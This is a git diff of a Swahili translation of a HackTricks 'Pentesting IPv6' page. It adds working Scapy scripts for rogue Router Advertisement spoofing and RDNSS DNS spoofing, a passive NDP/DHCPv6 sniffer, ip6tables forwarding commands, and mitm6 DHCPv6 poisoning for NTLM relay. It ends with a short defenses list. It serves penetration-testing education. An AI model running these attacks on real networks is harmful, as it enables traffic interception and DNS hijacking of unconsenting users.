mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
3fa9e9fa14
commit
f57a8ec417
@ -1,16 +1,18 @@
|
||||
# Pentesting IPv6
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Nadharia ya Msingi ya IPv6
|
||||
## IPv6 Msingi wa Nadharia
|
||||
|
||||
## Mitandao
|
||||
### Mitandao
|
||||
|
||||
Anwani za IPv6 zimeundwa ili kuboresha shirika la mtandao na mwingiliano wa vifaa. Anwani ya IPv6 imegawanywa katika:
|
||||
|
||||
1. **Kipengele cha Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao.
|
||||
2. **Kitambulisho cha Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao.
|
||||
1. **Prefix ya Mtandao**: Bits 48 za mwanzo, zinazoamua sehemu ya mtandao.
|
||||
2. **ID ya Subnet**: Bits 16 zinazofuata, zinazotumika kufafanua subnets maalum ndani ya mtandao.
|
||||
3. **Kitambulisho cha Interface**: Bits 64 za mwisho, zinazotambulisha kipekee kifaa ndani ya subnet.
|
||||
|
||||
Ingawa IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili:
|
||||
Wakati IPv6 inakosa protokali ya ARP inayopatikana katika IPv4, inintroduce **ICMPv6** yenye ujumbe kuu wawili:
|
||||
|
||||
- **Ujumbe wa Kutafuta Majirani (NS)**: Ujumbe wa multicast kwa ajili ya kutatua anwani.
|
||||
- **Tangazo la Majirani (NA)**: Majibu ya unicast kwa NS au matangazo ya ghafla.
|
||||
@ -25,7 +27,7 @@ IPv6 pia inajumuisha aina maalum za anwani:
|
||||
Ili kuingiliana na mitandao ya IPv6, unaweza kutumia amri mbalimbali:
|
||||
|
||||
- **Ping Anwani za Link-Local**: Angalia uwepo wa vifaa vya ndani kwa kutumia `ping6`.
|
||||
- **Ugunduzi wa Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo.
|
||||
- **Gundua Majirani**: Tumia `ip neigh` kuona vifaa vilivyogunduliwa kwenye safu ya kiungo.
|
||||
- **alive6**: Chombo mbadala cha kugundua vifaa kwenye mtandao sawa.
|
||||
|
||||
Hapa chini kuna mifano ya amri:
|
||||
@ -38,7 +40,7 @@ alive6 eth0
|
||||
```
|
||||
IPv6 anwani zinaweza kutolewa kutoka kwa anwani ya MAC ya kifaa kwa mawasiliano ya ndani. Hapa kuna mwongozo rahisi juu ya jinsi ya kupata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC inayojulikana, na muhtasari mfupi wa aina za anwani za IPv6 na mbinu za kugundua anwani za IPv6 ndani ya mtandao.
|
||||
|
||||
## **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC**
|
||||
### **Kutoa Link-local IPv6 kutoka kwa Anwani ya MAC**
|
||||
|
||||
Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-local IPv6 kama ifuatavyo:
|
||||
|
||||
@ -46,28 +48,28 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
|
||||
2. Ongeza `fe80::` na weka `fffe` katikati: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Geuza bit ya saba kutoka kushoto, ukibadilisha `1234` kuwa `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **Aina za Anwani za IPv6**
|
||||
### **Aina za Anwani za IPv6**
|
||||
|
||||
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si ya kuelekezwa kwenye mtandao wa umma. Kichwa: **`FEC00::/7`**
|
||||
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
|
||||
- **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
|
||||
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface ya karibu kulingana na itifaki ya kuelekeza. Sehemu ya **`2000::/3`** anuwai ya unicast ya kimataifa.
|
||||
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa.
|
||||
|
||||
## **Kichwa cha Anwani**
|
||||
### **Kichwa cha Anwani**
|
||||
|
||||
- **fe80::/10**: Link-Local anwani (sawa na 169.254.x.x)
|
||||
- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast Wote Nodes
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
|
||||
## **Kugundua Anwani za IPv6 ndani ya Mtandao**
|
||||
### **Kugundua Anwani za IPv6 ndani ya Mtandao**
|
||||
|
||||
### Njia 1: Kutumia Anwani za Link-local
|
||||
#### Njia 1: Kutumia Anwani za Link-local
|
||||
|
||||
1. Pata anwani ya MAC ya kifaa ndani ya mtandao.
|
||||
2. Pata anwani ya Link-local IPv6 kutoka kwa anwani ya MAC.
|
||||
|
||||
### Njia 2: Kutumia Multicast
|
||||
#### Njia 2: Kutumia Multicast
|
||||
|
||||
1. Tuma ping kwa anwani ya multicast `ff02::1` ili kugundua anwani za IPv6 kwenye mtandao wa ndani.
|
||||
```bash
|
||||
@ -75,37 +77,203 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
|
||||
Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, kama vile:
|
||||
|
||||
- Kupotosha matangazo ya jirani au router ya ICMPv6.
|
||||
- Kutumia ujumbe wa ICMPv6 redirect au "Packet Too Big" kubadilisha routing.
|
||||
- Kushambulia mobile IPv6 (kawaida inahitaji IPSec kuzuiliwa).
|
||||
- Kuanzisha seva ya rogue DHCPv6.
|
||||
- Kuweka seva ya rogue DHCPv6.
|
||||
|
||||
# Identifying IPv6 Addresses in the eild
|
||||
## Identifying IPv6 Addresses in the eild
|
||||
|
||||
## Exploring Subdomains
|
||||
### Exploring Subdomains
|
||||
|
||||
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` inaweza kuwa na ufanisi. Maalum, amri ifuatayo ya utafutaji inaweza kutumika katika Google:
|
||||
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## Kutumia Maswali ya DNS
|
||||
### Kutumia Maswali ya DNS
|
||||
|
||||
Ili kubaini anwani za IPv6, aina fulani za rekodi za DNS zinaweza kuulizwa:
|
||||
|
||||
- **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai ya rekodi za DNS.
|
||||
- **AXFR**: Inahitaji uhamisho kamili wa eneo, ambayo inaweza kufichua anuwai kubwa ya rekodi za DNS.
|
||||
- **AAAA**: Inatafuta moja kwa moja anwani za IPv6.
|
||||
- **ANY**: Swali pana linalorejesha rekodi zote za DNS zinazopatikana.
|
||||
|
||||
## Kuchunguza kwa Ping6
|
||||
### Kuchunguza kwa Ping6
|
||||
|
||||
Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inaweza kutumika kwa uchunguzi. Zana hii husaidia katika kutathmini majibu ya anwani za IPv6 zilizobainishwa, na inaweza pia kusaidia katika kugundua vifaa vya IPv6 vilivyo karibu.
|
||||
|
||||
## Marejeleo
|
||||
## Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6
|
||||
|
||||
Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa **ndani ya segment moja /64** bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni **link-local** na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.
|
||||
|
||||
### Kurekebisha Mfumo kwa Maabara Imara
|
||||
|
||||
Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
|
||||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||
|
||||
# Increase fd / backlog limits when generating lots of traffic
|
||||
sudo sysctl -w fs.file-max=100000
|
||||
sudo sysctl -w net.core.somaxconn=65535
|
||||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Passive NDP & DHCPv6 Sniffing
|
||||
|
||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.layers.dhcp6 import *
|
||||
from datetime import datetime
|
||||
from colorama import Fore, Style, init
|
||||
import argparse
|
||||
|
||||
init(autoreset=True)
|
||||
|
||||
# Human-readable names for protocols we care about
|
||||
DHCP6_TYPES = {
|
||||
DHCP6_Solicit: 'Solicit',
|
||||
DHCP6_Advertise: 'Advertise',
|
||||
DHCP6_Request: 'Request',
|
||||
DHCP6_Reply: 'Reply',
|
||||
DHCP6_Renew: 'Renew',
|
||||
DHCP6_Rebind: 'Rebind',
|
||||
DHCP6_RelayForward:'Relay-Forward',
|
||||
DHCP6_RelayReply: 'Relay-Reply'
|
||||
}
|
||||
ICMP6_TYPES = {
|
||||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||
}
|
||||
|
||||
def handler(pkt):
|
||||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||
|
||||
# Identify protocol family first
|
||||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||
if proto in pkt:
|
||||
break
|
||||
else:
|
||||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||
for dhcp_t,name in DHCP6_TYPES.items():
|
||||
if dhcp_t in pkt:
|
||||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||
else:
|
||||
return # not a DHCPv6 message we track
|
||||
else:
|
||||
return # not interesting
|
||||
|
||||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||
print(f" MAC {eth_src} -> {eth_dst}")
|
||||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||
print('-'*60)
|
||||
|
||||
if __name__ == '__main__':
|
||||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi.
|
||||
|
||||
### Ulaghai wa Matangazo ya Router (RA)
|
||||
|
||||
Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||
args = p.parse_args()
|
||||
|
||||
lifetime = 0 if args.revert else args.lifetime
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Ili kweli **kupeleka trafiki** baada ya kushinda mbio:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) Spoofing kupitia RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=0)/
|
||||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS. [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**. Hii inafungua:
|
||||
|
||||
* Mashambulizi ya NTLM relay (WPAD + DNS hijacking)
|
||||
* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
|
||||
|
||||
Matumizi ya kawaida:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### Ulinzi
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa.
|
||||
* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
|
||||
* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**.
|
||||
* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.
|
||||
|
||||
## Marejeo
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user